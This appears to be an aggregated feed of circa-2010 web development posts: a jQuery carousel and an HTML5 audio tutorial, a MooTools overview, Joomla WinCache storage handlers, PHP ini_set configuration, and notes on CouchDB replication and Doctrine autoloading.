This is a very simple event handler actually. We just check to see what element is currently selected. If it is the last, we reset the index so the carousel goes back to the first element, thus creating a pseudo infinite carousel. Otherwise, we increment index by 1.
Next, we call the function show, passing in the index variable as a parameter. We’ll create the function in a bit.
Step 4: Implementing the Core Logic
function show(num)
{
images.fadeOut(400);
$(".image-"+num).stop().fadeIn(400);
var scrollPos = (num+1)*imgHeight;
$("#thumbs").stop().animate({scrollTop: scrollPos}, 400);
}
The show function implements the core functionality of this widget. Let me explain each part.
First, we fade out every image the gallery element contains. Next, we fade in just the required image making use of its class. Since each image can be accessed through its class and we have access to the positional index of the image, we just use the following selector: “.image-”+num
Next, we need to scroll the thumbnail element so that the required image is at the top of the carousel. There are two ways to go on about doing this.
The first method makes use of jQuery’s position property. This lets us find the element’s position relative to its parent element. Unfortunately, I’ve been running into quite a few problems with it and Chrome which means we’ll have to use our second method.
The next method is actually just as simple. Since we can easily obtain the height of a thumbnail and since each thumbnail is required to be of the same height, we can easily just find the product of the nth element’s position in the list and the height of a thumbnail to obtain its offset from the top.
var imgHeight = thumbs.attr("height");
The above line lets us obtain a thumbnail’s height. Remember that a collection of elements can be queried just like a normal element.
var scrollPos = (num+1)*imgHeight;
We now calculate the offset of the thumbnail we need. Since we need the thumbnail of the next element in the list and not of that image itself, we increment it by 1 before multiplying it by the height.
With all this info, we can now scroll the element to the height we need.
$("#thumbs").stop().animate({scrollTop: scrollPos}, 400);
We use jQuery’s animate property to alter the scrollTop property to the value we calculated above. If you are new to jQuery’s animation functions, refer to my earlier article. Essentially, we scroll the element x pixels from the top to create a carousel effect.
Step 5: A Few Tweaks Polishing the Pseudo Infinite EffectWe are essentially done but a few quick bits of code will make it a little bit more polished.
thumbs.slice(0,3).clone().appendTo("#thumbs");
This line essentially takes the first three thumbnails, copies them over to the end of the list. The slice method selects the first three elements, the clone methods clones these DOM elements and finally the appendTo methods adds them to the passed element.
We can’t just use the appendTo method since it plucks the selected elements from their current position before placing it as required. We need the clone method to copy them first.
We do this to make sure when we approach the final few thumbnails, the illusion of an infinite carousel remains. Else, the user just sees empty blocks which isn’t really what we need.
Making it Auto RotateMaking the widget auto rotate is actually very simple. Since we have a proper event handler in place, we just have to call the handler every n microseconds. The following line will take care of that:
setInterval(sift, 8000);
In the above code, I’ve asked to call the sift function every eight seconds. Remember, the duration is passed in as microseconds so n thousand equals n seconds.
Initializing the WidgetCurrently, the page loads with the widget uninitialized. We’ll need to rectify this. All we need to do is to call the show function passing in the starting position as a parameter.
After you’ve attached the event handler, add this:
show(index);The Final Code
And we are done! The final code looks like so:
$(document).ready(function()
{
var index = 0;
var images = $("#gallery img");
var thumbs = $("#thumbs img");
var imgHeight = thumbs.attr("height");
thumbs.slice(0,3).clone().appendTo("#thumbs");
for (i=0; i<thumbs.length; i++)
{
$(thumbs[i]).addClass("thumb-"+i);
$(images[i]).addClass("image-"+i);
}
$("#next").click(sift);
show(index);
setInterval(sift, 8000);
function sift()
{
if (index<(thumbs.length-1)){index+=1 ; }
else {index=0}
show (index);
}
function show(num)
{
images.fadeOut(400);
$(".image-"+num).stop().fadeIn(400);
var scrollPos = (num+1)*imgHeight;
$("#thumbs").stop().animate({scrollTop: scrollPos}, 400);
}
});
Conclusion
And there you have it: we’ve created a simple but useful slider. Hopefully you’ve found this tutorial interesting and useful. Feel free to reuse this code elsewhere in your projects, and chime in within the comments if you are running into difficulties.
Questions? Nice things to say? Criticisms? Hit the comments section and leave me a comment. Happy coding!
Together with the release of PHP 5.3.2 by the PHP team I have released Suhosin-Patch 0.9.9.1 which comes with bugfixes and new features. The changes are:
While going through the [HTTP_REFERER] log of the Month of PHP Security website I realised that there are more incoming refers from various blog posts about it than there are submissions to drawing@php-security.org. Like I previously announced we will honor 10 blog postings with 25 EUR amazon coupons. The winners will be selected by random, however only among those we will select that announce their blogpost to us via the email address provided above.
The reasons for this rule is very simple. Without the announcement we would have to look at every new [HTTP_REFERER] and manually check if it is just spam, an old link to the Month of PHP Bugs, someone who just copied the blog of another person or other nonsense. In addition to that we have to find a contact address of the person who originally has written the entry and ask him/her if he/she wants to take part in the drawing. This would be too much work. Therefore announce your blog posting to drawing@php-security.org or you have no chance of winning one of the coupons.
Over the last three days we’ve been steadily rolling out a new Tuts+ theme across all 8 sites. The new design is a refinement more than a big change, with lots of little improvements in usability and more suited to big screens. Read on to learn more about the redesign and lots of news about Plus!
1 The Plus Project
As you may know we have some pretty big plans for these Tuts+ sites. While today they are humble little tutorial blogs, we’ve thought for some time that it would be cool to build an entire platform for education. We’re going to call that platform Plus. You’ll know Plus content as our premium content, but no longer.
Our premium content is now ‘Premium’ (go figure!) and Plus is the brand for the educational platform we’re building, which, just like Psdtuts+, will be completely free for the most part.
With Tuts+ well established now, we’ve finally begun work on the project! We’ve acquired the domain Plus.org which will be the home of the new platform (yay for our first four letter domain!) We’ve also brought over our resident code genius Ryan Allen (who built our ActiveDen platform all by himself back in 2006) to team up with Tuts+ developer extraordinaire Fred Wu and kick ass front-end guru Derek Herman. And Skellie and I have been busy spec’ing out the plans for the new site, and it’s pretty, damn cool if I do say so myself!
Right now the Tuts+ sites are fairly passive, but we’d like to get the whole community involved in writing, teaching, answering questions and generally learning. The new Plus.org platform promises to incorporate all that plus some nifty ideas we’ve taken from gaming to come together into a social education platform.
It’s going to take a long time and we’re going to roll it all out in pieces over the next 2 years. We’re super excited about it all, and I hope I’ll have more updates in the coming months!
2 Creative Sessions and Mobiletuts+While Plus.org will take a long time, we do have some new goodies coming much sooner including Creative Sessions which is being built now, and also Mobiletuts+ which will be all about mobile development!
3 Server UpdateAbout a week and a half ago we had some major problems with our servers. I’m happy to say that we’ve now completely resolved these issues by moving hosts and reengineering our hosting setup completely from scratch. The new setup is much quicker and has a much greater capacity for growth, so fingers crossed, that will be the last server outage for a long time to come!
4 The RedesignThe new theme has a few neat features you may want to check out including:
One change that we have also made is to remove the community link feed. Over the years this was a great way to get exposure to community links, but unfortunately was also home to a lot of spam. So with this iteration we’ve left it behind.
Also at the moment sites with Flickr groups don’t have it showing, but don’t worry that’ll be back. There’s just a problem with our Flickr plugin at the moment!!
There are still some more tweaks to do to the new design and a lot of post formatting to do to get our archives matching up with the new theme. But for all intents and purposes the new theme is now alive and well! Enjoy!
Now that we have WINCACHE 1.1 Beta release which supports user as well as session cache, I am going to tell you a way to integrate session cache with Joomla using WINCACHE. Joomla has the way of integrating session cache based on user cache implementation and that’s what I am going to explain today. Increasing performance of Joomla by enabling it’s user cache functionality using WINCACHE is explained here.
Joomla session code is modular enough and in order to enable session cache based on WINCACHE user cache, one needs to paste the below code in a file named wincache.php and place it at folder libraries joomla\session\storage. This folder path is relative to your Joomla root installation folder.
<?php
// Check to ensure this file is within the rest of the framework
defined('JPATH_BASE') or die();/**
* WINCACHE session storage handler for PHP
*
* @package Joomla.Framework
* @subpackage Session
* @since 1.5
* @see [www.php.net]
*/
class JSessionStorageWincache extends JSessionStorage
{/**
* Constructor
*
* @access protected
* @param array $options optional parameters
*/
function __construct( $options = array() )
{ if (!$this->test()) {return JError::raiseError(404, "The wincache extension is not available");
}
parent::__construct($options);
}
/**
* Open the SessionHandler backend.
*
* @access public
* @param string $save_path The path to the session object.
* @param string $session_name The name of the session.
* @return boolean True on success, false otherwise.
*/
function open($save_path, $session_name)
{return true;
}
/**
* Close the SessionHandler backend.
*
* @access public
* @return boolean True on success, false otherwise.
*/
function close()
{return true;
}
/**
* Read the data for a particular session identifier from the
* SessionHandler backend.
*
* @access public
* @param string $id The session identifier.
* @return string The session data.
*/
function read($id)
{$sess_id = 'sess_
Truncated by Planet PHP, read more at the original (another 7501 bytes)
Now that we have WINCACHE 1.1 Beta released which has got implementation for both user and session cache, one can easily take advantage of WINCACHE user cache and increase performance of Joomla. In this post I am going to tell you steps to use WINCACHE user cache with Joomla.
Joomla caching code is modular and in order to enable WINCACHE user cache, one needs to paste the below code in a file named wincache.php and place it at folder libraries\joomla\cache\storage. All the folders mentioned here is with respect to root folder of Joomla installation.
<?php
// Check to ensure this file is within the rest of the framework
defined('JPATH_BASE') or die();/**
* WINCACHE cache storage handler
*/
class JCacheStorageWincache extends JCacheStorage
{/**
* Constructor
*
* @access protected
* @param array $options optional parameters
*/
function __construct( $options = array() )
{parent::__construct($options);
$config = & JFactory::getConfig();
$this->_hash = $config->getValue('config.secret');}
/**
* Get cached data from WINCACHE by id and group
*
* @access public
* @param string $id The cache data id
* @param string $group The cache data group
* @param boolean $checkTime True to verify cache time expiration threshold
* @return mixed Boolean false on failure or a cached data string
* @since 1.5
*/
function get($id, $group, $checkTime)
{$cache_id = $this->_getCacheId($id, $group);
$this->_setExpire($cache_id);
return wincache_ucache_get($cache_id);
}
/**
* Store the data to WINCACHE by id and group
*
* @access public
* @param string $id The cache data id
* @param string $group The cache data group
* @param string $data The data to store in cache
* @return boolean True on success, false otherwise
* @since 1.5
*/
function store($id, $group, $data)
{$cache_id = $this->_getCacheId($id, $group);
wincache_ucache_set($cache_id.'_expire', time());
return wincache_ucache_set($cache_id, $data, $this->_lifetime);
}
/**
* Remove a cached data entry by id and group
*
* @access public
* @param string $id The cache data id
* @param string $group The cache data group
* @return boolean True on success, false other
Truncated by Planet PHP, read more at the original (another 10114 bytes)
The old and fairly reliable Sennheiser RS40’s I was using up until a few weeks ago finally gave up the ghost in the run-up to Mobile World Congress this year – or to be more accurate, the battery packs finally…
As of Firefox 3.5, Chrome 3, Opera 10.5, and Safari 4, we can take advantage of many of the new HTML 5 features, including native audio support without the need for Flash. As you’ll find, we only to create the new <audio> element, and set a few attributes. In this four minute video quick tip, we’ll review the mark-up, and also a quick way to play audio with jQuery.
The Audio Element<audio autoplay="autoplay" controls="controls"> <source src="file.ogg" /> <source src="file.mp3" /> </audio>
The audio element accepts a handful of attributes, most notably:
Mozilla and Webkit don’t fully get along just yet, when it comes to the audio format. Firefox will want to see an .ogg file, while Webkit browsers will work just fine with the common .mp3 extension. This means that, at least for now, you should create two versions of the audio. I recommend that you use a quick and simple online tool, called Media.io, to convert your mp3 over to the ogg format.
When Safari loads the page, it won’t recognize that .ogg format, and will skip it and move on to the mp3 version, accordingly. Please note that IE, per usual, doesn’t support this, and Opera 10 and lower can only work with .wav files.
Loading Audio with jQuery
// Slightly modified from video version.
$(document).ready(function() {
// Create an audio element, and set it to autoplay,
// and show the player when the page loads.
var audio = $('', {
autoPlay : 'autoplay',
controls : 'controls'
});
// Call our addSource function, and pass in the audio element
// and the path(s) to your audio.
addSource(audio, 'audioFile.ogg');
addSource(audio, 'audioFile.mp3');
// When some event is fired...
$('a').click(function() {
// Add the audio + source elements to the page.
audio.appendTo('body');
// Fadeout the anchor tag to keep the user from clicking it again.
$(this).fadeOut('slow');
return false;
});
// Adds a source element, and appends it to the audio element, represented
// by elem.
function addSource(elem, path) {
$('').attr('src', path).appendTo(elem);
}
});
Please note that we can go much, much further with this, including how to stop the audio, change the volume, etc. This quick three minute tip is just to whet your appetite. If you’d like to delve deeper, let us know and I’ll schedule a full thirty-minute tutorial on the topic!
In previous articles, I've explored building service endpoints and RESTful services with Zend Framework. With RPC-style services, you get to cheat: the protocol dictates the content type (XML-RPC uses XML, JSON-RPC uses JSON, SOAP uses XML, etc.). With REST, however, you have to make choices: what serialization format will you support?
Why not support multiple formats?
There's no reason you can't re-use your RESTful web service to support multiple formats. Zend Framework and PHP have plenty of tools to assist you in responding to different format requests, so don't limit yourself. With a small amount of work, you can make your controllers format agnostic, and ensure that you respond appropriately to different requests.
This tutorial is about understanding and mastering the MooTools library. It does so by offering a high level introduction to the history and foundations of the Core library: where to start, where to explore, what to master, and more.
1. Prototypal Inheritance
The foundation of the MooTools framework is really in the prototypal inheritance model of JavaScript. In classical languages, like C++ or Java, a class represents something like a data type or what Jeff Mott called a “blueprint.” These blueprints are then used in the creation of objects. In fact, in these languages nothing is actually created until the “new” operator explicitly invokes them.
With JavaScript however, everything is created immediately, even before you instantiate the objects with the “new” operator. As a prototypal language, this effectively means no blueprints, no “classes”. Instead, we go about using some objects as fully operational bases for other objects. As Douglas Crawford said, in precisely this way JavaScript becomes “more capable and offers more expressive power.” Let’s take a look:
function Nerd(iq) {
this.iq = iq;
this.glasses = true;
this.pants = 'high';
}
function SuperPowers() {
this.strongerThanLocomotive = true;
this.fasterThanBullet = true;
this.canLeapBuildings = true;
}
Nerd.prototype = new SuperPowers();
Nerd.prototype.willWinGirl = function (hotness) {
if(this.iq > (hotness * 20) || this.strongerThanLocomotive){
console.log('maybe');
}
else {
console.log('nope');
}
}
new Nerd(140).willWinGirl(10); // logs "maybe"
The example above is actually a rather popular means of introducing the concept of prototyping. However, if you’re finding this a little too abstract, perhaps a better way to approach this would be to look at prototyping a native JavaScript constructor like String, Array, etc. For example:
Array.prototype.eachhhh = function (fn) {
for (var i = 0, l = this.length; i
Prototyping simple code patterns like the for loop above can save tons of time when working on larger projects. When using the MooTools framework, it's important to begin thinking of every constructor as being extendable; this is going to save you time down the line and make your code much more flexible. Furthermore, it's precisely this method of inheritance that is at the core of MooTools, and harnessing this frameworks power means making use of prototyping. Of course, what MooTools does is make this process a whole lot easier for you to access and take advantage of, but we will get into exactly how it does this later on in the article.
2. Object Literal Notation
Wayyyy back in 2006, Chris Heilman was already getting fanatical about the object literal syntax... talking about sliced bread and other craziness. At any rate, for that very reason I'm not going to dwell on this subject too much, instead I'll assume that you've come across this syntax at some point or atleast can grasp it by the simple example below.
//this is not object literal notation
var variable1 = null;
var variable2 = false;
function1(){
// some code
}
function2(){
// some code
}
// the above becomes object literal notation below...
var SomeVariableName = {
variable1: null,
variable2: false,
init:function(){
},
function1:function(){
// some code
},
function2:function(){
// some code
}
}
Like most programming languages, in JavaScript there exist a large number of stylistic preferences and "best practices." When working with MooTools you'll find there to be no shortage of these, including: not chaining excessively, capitalizing your class names, comma separating variable declarations, etc.... However, among these, object literal notation is perhaps most fundamental to understanding not only the way in which the MooTools framework itself is structured, but actually how to take advantage of this framework in developing your own code. We'll develop this idea further throughout the rest of this article and as you'll see, all the examples from this point forward will be taking advantage of this syntax.
3. The Class Constructor
If JavaScript doesn't have "classes," then why is there all this hype around Motools and classes? In May of last year, Aaron Newton published an excellent comparative piece on jQuery and MooTools. Among other things, he addressed precisely this question of classes in a very succinct way: "Despite its name, the MooTools Class function is not really a class nor does it create them. It has design patterns that might remind you of classes in a more traditional programming language, but really Class is all about objects and prototypal inheritance."
As Aaron goes on to detail, the MooTools framework is pushing for powerful and ultimately simple ways to organize and structure your code, ways which are elegant but also familiar, and not just semantically, but in their capacity to behave in classical design patterns. In fact, you'll find utilizing "classes" in your code base opens up your code to many powerful programming patterns: the mediator, the mixin, etc...
A simple MooTools class will look something like this (notice the syntax):
var YourClass = new Class({
variable1: false,
initialize: function(){
this.toggleVariable();
},
toggleVariable: function(){
this.variable1 = !variable1;
}
});
var yourClassInstance = new YourClass();
yourClassInstance.toggleVariable(); // this.variable1 == false
Not too complicated, right? Once you begin structuring your code in classes like these, you'll find that your code repository will become not only a lot more organized and manageable, but actually smaller!
4. Class.Mutators
So how exactly does it become smaller? Returning to JavaScript's prototypal inheritance model and how it relates to the Class constructor, MooTools provides us with Extends and Implements. As properties, both are fundamental to the production of your MooTools subclasses and make this whole protyping mess a bit more intuitive. At a high level, Extends gives your subclass access to all the methods of it's base class, where methods and properties of the same name are overwritten (not to worry, they're still accessible through the parent() method). Similar to Extends, Implements adopts properties from one or more other classes, but without the inheritance model.
Consider briefly Digitarald's fancy upload plugin for Mootools. In this program Harald defines several classes, one of which is called the 'File' class. File houses the core functionality that a file object needs to interface with his uploading program and for this very reason is perfect for being extended; one might create an "Image File" subclass, a "Text File" subclass, etc. By modeling your code in this way, you are able to build your code up, rather than out. Consider the example below for how to use Extends:
var YourSubClass = new Class({
Extends: YourClass, //here we are extending "YourClass" from our previous example
variable2: false,
initialize: function(){
this.parent(); // this will call the initialize function from the bass Class "YourClass"
},
//here we are overwriting the toggle Variable function of "YourClass" with a new function
toggleVariable: function(){
this.variable1 = !variable1; // notice variable1 from "YourClass" is still accessible in YourSubClass
this.variable2 = !this.variable1;
}
});
5. Custom Events and Options
The most common usecase I find with Implements is including either the Events constructor or the Options constructor in my classes. As the name suggests, implementing Events allows for both the attachment and firing of custom events on your object, like onComplete, onFailure, onSuccess, onAnything. This level of abstraction becomes particularly useful when you begin sharing your code across several projects, where events behave as mediators between your current project and your plugins. In this way you can finally get away from those nasty one-to-one, bound relationships in your plugins. For example:
var YourSubClass = new Class({
Implements: Events, //here we tell MooTools to implement Events in our sub class (this wont effect the bass "YourClass")
Extends: YourClass,
variable2: false,
initialize: function(){
this.parent();
},
toggleVariable: function(){
this.variable1 = !variable1;
this.variable2 = !this.variable1;
//afterToggle() -- calling "afterToggle" would have made this function a necessary include of YourSubClass
this.fireEvent('toggled'); //instead a custom event is fired called "toggled"
}
});
var yourSubClassInstance = new YourSubClass();
var afterToggle = function(){
alert('i\'ve just been toggled!');
};
//here we add a listener for the custom event, just like we would any other event
yourSubClassInstance.addEvent('toggled', afterToggle);
Besides Events, often you will want to Implement MooTools' Options. This utility class allows you to automate the setting of a list of optional properties to be set on an instance of your class. Again, this can be very helpful when writing plugins for various projects, allowing for the circumstantial customization of certain properties of your object. Consider the example below:
var YourSubClass = new Class({
//One of the many cool things about the implements property is that it excepts an array.
Implements: [Events,Options], //Here we include Options
Extends: YourClass,
//options are set if the invoker does not explicitly specify a value.
options: {
variable2: false
},
initialize: function(options){
this.setOptions(options); //sets the options
this.parent();
},
toggleVariable: function(){
this.variable1 = !variable1;
this.options.variable2 = !this.variable1;
this.fireEvent('toggled');
}
});
// this will start the class with variable2 = true.
var yourSubClassInstance = new YourSubClass({
variable2: true
});
6. Binding
As your programs become more complex, a proper understanding of scope becomes invaluable. Scope is the way variables in JavaScript relate to any single point of execution -- there are global variables, which are variables that can be referenced from anywhere in the document and occupy the lowest executing level, local variables, which are variables limited to their immediate containing functions or closures, and finally, self references, the "this" keyword, which are JavaScript's way of referencing the context of the current point of execution.
var global = true; //global variable;
var aFunction = function(){
var local = true; //local variable
}
$('button').addEvent('click', function(){
this.addClass('clicked'); // self reference
});
When referencing a variable in your code, JavaScript bubbles from it's current executing position through all accessible levels of variables until it locates the first and nearest occurrence of a positive match. This behavior is often less than desirable, particularly when dealing with events inside of object literals as they house their own self references. Often developers rely on what are called "lexical closures" to circumvent problems like these, storing the self reference in a variable of a different name. However, MooTools provides an alternative means of achieving this through their bind() method, which is not only cleaner, but a lot more elegant. Consider the example below:
...
addEvents: function(){
$('button').addEvent('click', function(){
//binding substitutes the current self reference for that of the object passed in
this.toggleVariable();
}.bind(this)); // here we bind this to the click event handler
},
toggleVariable: function(){
//code
},
...
7. The Element Constructor
In the example above we targeted an already existing element in the DOM and added an event listener to it. However, it's not uncommon today that you will see entire web apps load their content dynamically using JavaScript. With the evolution of JSON, being able to generate markup on the fly has become increasing necessary. Enter the MooTools Element constructor. The novel thing about this constructor is that it maintains it's readability despite it's large capacity for optional properties (Again, thanks to the object literal notation!). Element accepts an events object, a styles object, plus any individual properties like class, id, src, href, title, etc. That said, it's also loaded with a ton of methods, the complete list of which is available from the MooTools docs here. Below is a simple example of how to get started:
var el = new Element('div', {
id: 'button',
'html': 'hellloooo',
styles: {
display: 'block',
position: 'relative',
float: 'left
},
events: {
click: function(){
//your code
}
}
});
8. DOM Manipulation
Now that you have your dynamic element, wouldn't it be great to insert it into the DOM? MooTools provides a really handy list of methods for just that, including:
Of these methods, I've found adopt's ability to accept an array of elements absolutely indispensable, especially when structuring larger quantities of dynamic markup. Consider the example below:
var el = new Element('div', {
id: 'button',
styles: {
display: 'block',
position: 'relative',
float: 'left
},
events: {
click: function(){
//your code
}
}
}).adopt(
this.createSpan(), // returns an element which can later be overwritten by a subclass
new Element('a', {
href: 'http://somewebsite.com'
}).adopt(
new Element('strong', {
'html': 'world'
})
)
).inject($(document.body),'top');
The example above makes for a truly object oriented approach to DOM manipulation. When you become a super MooTools ninja, jedi, junky, nerd, you can use the method above to begin abstracting out functions which return elements or arrays of elements, making it possible for your subclasses to target specific methods in modifying your display. Awesome.
9: Request.JSON & Request.JSONP
JavaScript Object Notation or JSON is the lightweight data-interchange format that everyone loves (especially after working with XML). The great thing about JSON of course is that it's structure is recognized natively by JavaScript, and with many large sites opening up their data to the public via APIs, there's really no reason why you shouldn't invest the time to get familiar with it. No longer a cross browser nightmare, whether you're pushing data to a back-end service or requesting another batch of tweets from twitter, the MooTools Request constructor makes JSON and JSONP incredibly simple. It works with several event listeners and recently a timeout, which is completely neccessary once you start getting into JSONP. (Which you should! It's so fun.) Here's a simple example:
var JSONRequest = new Request.JSON({
url: "http://yoursite.com/tellMeSomething.php",
onFailure: function(){
alert('oh nooo!');
},
onSuccess: function(response){
alert('hooray!: ' + response.result);
}
});
10. Fx
At a high level, the Fx constructor allows you to modify any CSS property of an HTML element, which itself accepts a single element and a series of optional properties (duration, transition type, etc.) to create smooth animation effects of colors, slides, scrolls, etc. What's more, the Fx constructor is fully compatible with Robert Penner's Easing equations, which are a great way to add a touch of uniqueness to your transitions like bounce, elastic, sin, etc.
If you're "hardcore" you can actually achieve all of the animation effects using either Fx.Tween(single css style animation) or Fx.Morph (multiple simultaneous style animations). Of course, beyond these there's Fx.Slide, Fx.Scroll, Fx.Accordian, etc. Here's a simple example using Fx.Tween:
var myFx = new Fx.Tween($('button'));
myFx.start('background-color', '#000', '#f00'); //this tweens the background color of the button element.
If you're dying to get deeper into this topic, check out Consider Open's fx tutorial for a fairly comprehensive introduction to the constructor.
11. Swiff
Originally appearing in Digitarald's fancy upload, the Swiff object allows your page's JavaScript to communicate with Flash. This makes it substantially easier to interact with Flash's unique functionality like video, sound, file streaming, and clipboard accessing features. More over, Swiff allows you to pass values and manipulate the Flash movie using conventions you're familiar with from JavaScript and Mootools. Integrating flash in this way is particularly useful as we begin taking steps towards offering HTML5 as a progressive enhancement, where, barring user's have the flash plugin, Swiff can be used to control audio or video on older browsers. Meanwhile, check out the simple example below:
var flashObject = new Swiff('sounds.swf', {
id: 'mySoundManager',
width: 1,
height: 1,
vars: {
myVariable: true, //pass variables into flash on load
},
callBacks: {
//call custom events from your flash object
someEvent: function(){
//code
}
}
});
Swiff.remote(flashObject, 'playMySound') //calls the function "playMySound" from within flash
12. Mootools More & Forge
Now with over fifteen members contributing to the official more plugin repository and over one hundred unofficial plugins already on Forge, it's no surprise that "Community" is what the MooTools team wanted us as developers to take away from 2009. Indeed people have truly embraced this framework, and now with Forge, we have a great place to meet each other and begin sharing ideas. You'll find David Walsh, Aaron Newton, 3n, and many others actively contributing amazing code and facilitating an environment capable of both inspiration and utility. In the end, the most helpful way to pick up the MooTools framework is by engaging with the developers around you and ultimately understanding what they are working on and how they're going about it.
Write a Plus TutorialDid you know that you can earn up to $600 for writing a PLUS tutorial and/or screencast for us? We're looking for in depth and well-written tutorials on HTML, CSS, PHP, and JavaScript. If you're of the ability, please contact Jeffrey at nettuts@tutsplus.com.
Please note that actual compensation will be dependent upon the quality of the final tutorial and screencast.
Since the WinCache Extension for PHP has been released last year it has been widely deployed by customers who run PHP on Windows OS and it has proven to provide a substantial performance boost for PHP applications hosted on Windows-based web servers.
Today IIS team has published a beta of WinCache 1.1, which provides more options for improving performance of PHP applications on Windows. Specifically, the new version includes :
The beta builds of the extension can be downloaded and installed from the extension home page at: [www.iis.net] (look for the “WinCache 1.1 – Beta” section there). The source code can be obtained from [pecl.php.net] . The documentation for the extension can be found on PHP.NET WinCache documentation.
This is the beta release and the WinCache team is looking for your feedback on new features and functionality. Use the WinCache Community Forum to ask questions about the extension, report bugs and problems and to suggest features and improvements.
Since the WinCache Extension for PHP has been released last year it has been widely deployed by customers who run PHP on Windows OS and it has proven to provide a substantial performance boost for PHP applications hosted on Windows-based web servers.
Today IIS team has published a beta of WinCache 1.1, which provides more options for improving performance of PHP applications on Windows. Specifically, the new version includes :
The beta builds of the extension can be downloaded and installed from the extension home page at: [www.iis.net] (look for the “WinCache 1.1 – Beta” section there). The source code can be obtained from [pecl.php.net] . The documentation for the extension can be found on PHP.NET WinCache documentation.
This is the beta release and the WinCache team is looking for your feedback on new features and functionality. Use the WinCache Community Forum to ask questions about the extension, report bugs and problems and to suggest features and improvements.
Configuring PHP is easy. You can change almost any aspect of the interpreter within the php.ini configuration file, e.g. modify error handling, increase memory usage, etc.
Unfortunately, problems can occur when you move your application to a live hosting environment or are distributing the code to customers. ISPs usually lock down the php.ini configuration file — especially on shared hosting. This could cause your application to fail.
Fortunately, it’s not necessary to upgrade to an expensive dedicated server. The two methods below allow you to override PHP settings within your application.
Apache Module DirectivesThe majority of ISPs provide Apache web server hosting on Linux or Unix platforms. Hopefully, they’ve also granted “AllowOverride Options” or “AllowOverride All” privileges in Apache’s [httpd.conf] configuration. This allows you to create an .htaccess file within your application’s root folder overrides the default Apache and PHP configuration.
Two PHP directives are permitted within .htaccess:
php_flag should be used for on/off values, whereas php_value can be used for any others. For example, the following .htaccess file will disable globals, set the maximum file upload size to 20MB, and allow PHP scripts to run for 10 minutes (600 seconds):
php_flag register_globals off
php_value upload_max_filesize 20M
php_value max_execution_time 600
However, the solution will not work in all Apache installations or other web servers such as IIS.
PHP Runtime ConfigurationA more portable, server-agnostic solution is PHP’s ini_set function. — it allows you to change a setting within your application at runtime. The function accepts two arguments: ini_set(flag-name, flag-value), e.g.
<?php
ini_set('register_globals', 0);
ini_set('upload_max_filesize', '20M');
ini_set('max_execution_time', 600);
?>
Booleans, numbers and strings can be used interchangeably — PHP will attempt to cast the value to an appropriate type.
Several related functions are available:
ini_get(flag-name)
Returns the configuration value. I’d recommend checking your configuration change and taking appropriate action. Don’t assume ini_get() will always work.
ini_get_all([extension])
Returns all configuration values as an associative array. The optional extension parameter returns options specific to that extension, e.g. ‘allow_url_fopen’.
get_cfg_var(flag-name)
Returns the original configuration value from php.ini (not any overrides set in .htaccess or by ini_set).
ini_restore(flag-name)
Returns a configuration option to its original value.
Coming soon: How to Handle Unloaded PHP Extensions.
Has PHP configuration ever caused you problems when porting an application to another server?
<script src="http://adscluster.aws.sitepoint.com/openx/adjs.sp.php?region=14&did=adz&adtype=vertical" type="text/javascript">Related posts:
Today, we’re going to be taking the PSD website design, from Mahmoud’s Psdtuts+ Tutorial ,and coding it into valid, semantic HTML and CSS. Along the way, we’ll go over some essential CSS techniques, such as image replacement, sliding doors, and CSS sprites. This is a monster of a tutorial, as the design is a bit complex. Nevertheless, a relative beginner should be able to follow along, so put on a pot of coffee and let’s get started!
Help give back to Nettuts+ by becoming a Premium Member!
Final Product
For those unfamiliar, the family of TUTS sites runs a premium membership service. For $9 per month, you gain access to exclusive premium tutorials, screencasts, and freebies from Nettuts+, Psdtuts+, Aetuts+, Audiotuts+, and Vectortuts+! For the price of a pizza, you’ll learn from some of the best minds in the business. Join today!
Update, 2010-03-04: I just rolled a 0.0.2 release. In case you had 0.0.1 installed, just use pear upgrade-all to get it automatically. This release is trying to fix a random hang while reading documents from the source server.
I also opened a repository on Github.
---
As some may have guessed from a previous blog post we are currently running a test setup with CouchDB lounge. My current objective is to migrate our 200 million documents to it, and this is where I am essentially stuck this week.
No replication, no bulk docsThe lounge currently does not support replication (to it) or saving documents via bulk requests, so in essence migrating a lot of data into it is slow and tedious.
I have yet to figure out if there is a faster way (Maybe parallelization?), but DB_CouchDB_Replicator is the result of my current efforts.
I think I gave up on parallelization for now because it looked like hammering the lounge with a single worker was already enough, but generally I didn't have time to experiment much with it. It could have been my network connection too. Feedback in this area is very, very appreciated.
DB_CouchDB_ReplicatorDB_CouchDB_Replicator is a small PHP script which takes two arguments, --source and --target. Both accept values in style of http://username:password@localhost:port/db and attempt to move all documents from source to target.
Since long running operations on the Internet are bound to fail, I also added a --resume switch, and while it's running it outputs a progress bar, so it should be fairly easy to resume. And you also get an idea of where it's currently at and how much more time it will eat up.
These switches may change, and I may add more — so keep an eye on --help. Also, keep in mind, that this is very alpha and I give no guarantees.
Installation is simple! :-)
apt-get install php-pear
pear config-set preferred_state alpha
pear channel-discover till.pearfarm.org
pear install till.pearfarm.org/DB_CouchDB_Replicator
Once installed, the replicator resides in /usr/local/bin or /usr/bin and is called couchdb-replicator.
The code is not yet on github, but will eventually end up there. All feedback is welcome!
I’m reinvestigating Doctrine and Zend Framework for a new project. I’d dismissed them last year as not meeting my needs, but am giving it another go this year. I have to say I’ve got mixed impressions at best, as there seems to be little in the way of documentation with real use cases.
I would have expected there to be some explicit reference to how to set this up, but the best I can find are general examples where the Doctrine models directories are appended to the include_path in a ZF index file. Shouldn’t there be a way to explicitly have the Doctrine subsystem react to requests for models as well?
I was expecting the Doctrine::autoload to look for the classes on the ‘models path’ set via Doctrine::setModelsDirectory() call, but it doesn’t.
Hrm… after more investigation, it seems there’s a ‘modelsAutoload’ method on the Doctrine_core which will automatically look at the models_path set via setModelsDirectory(). Almost what I need. Except…(!)
There’s no support for multiple directories. The standard Doctrine generation process creates a ‘BaseFoo’ object in a ‘generated’ directory below where the standard ‘Foo’ file is written. The ‘Foo’ file subclasses the BaseFoo, but there’s no support to have it autoloaded.
In my ‘_initDoctrine()’ in Bootstrap, I’ve got
$autoloader = Zend_Loader_Autoloader::getInstance();
$autoloader->pushAutoloader(array('Doctrine','modelsAutoload'));
I know what to do here! I thought to myself. I’ll subclass Doctrine’s Core (which is what’s referenced by the ‘Doctrine’ above) and have that be the autoloader to use. I’ll modify the modelsAutoload() method to deal with an array of $_modelsDirectory entries, and attempt to load from each of them. Except…(!)
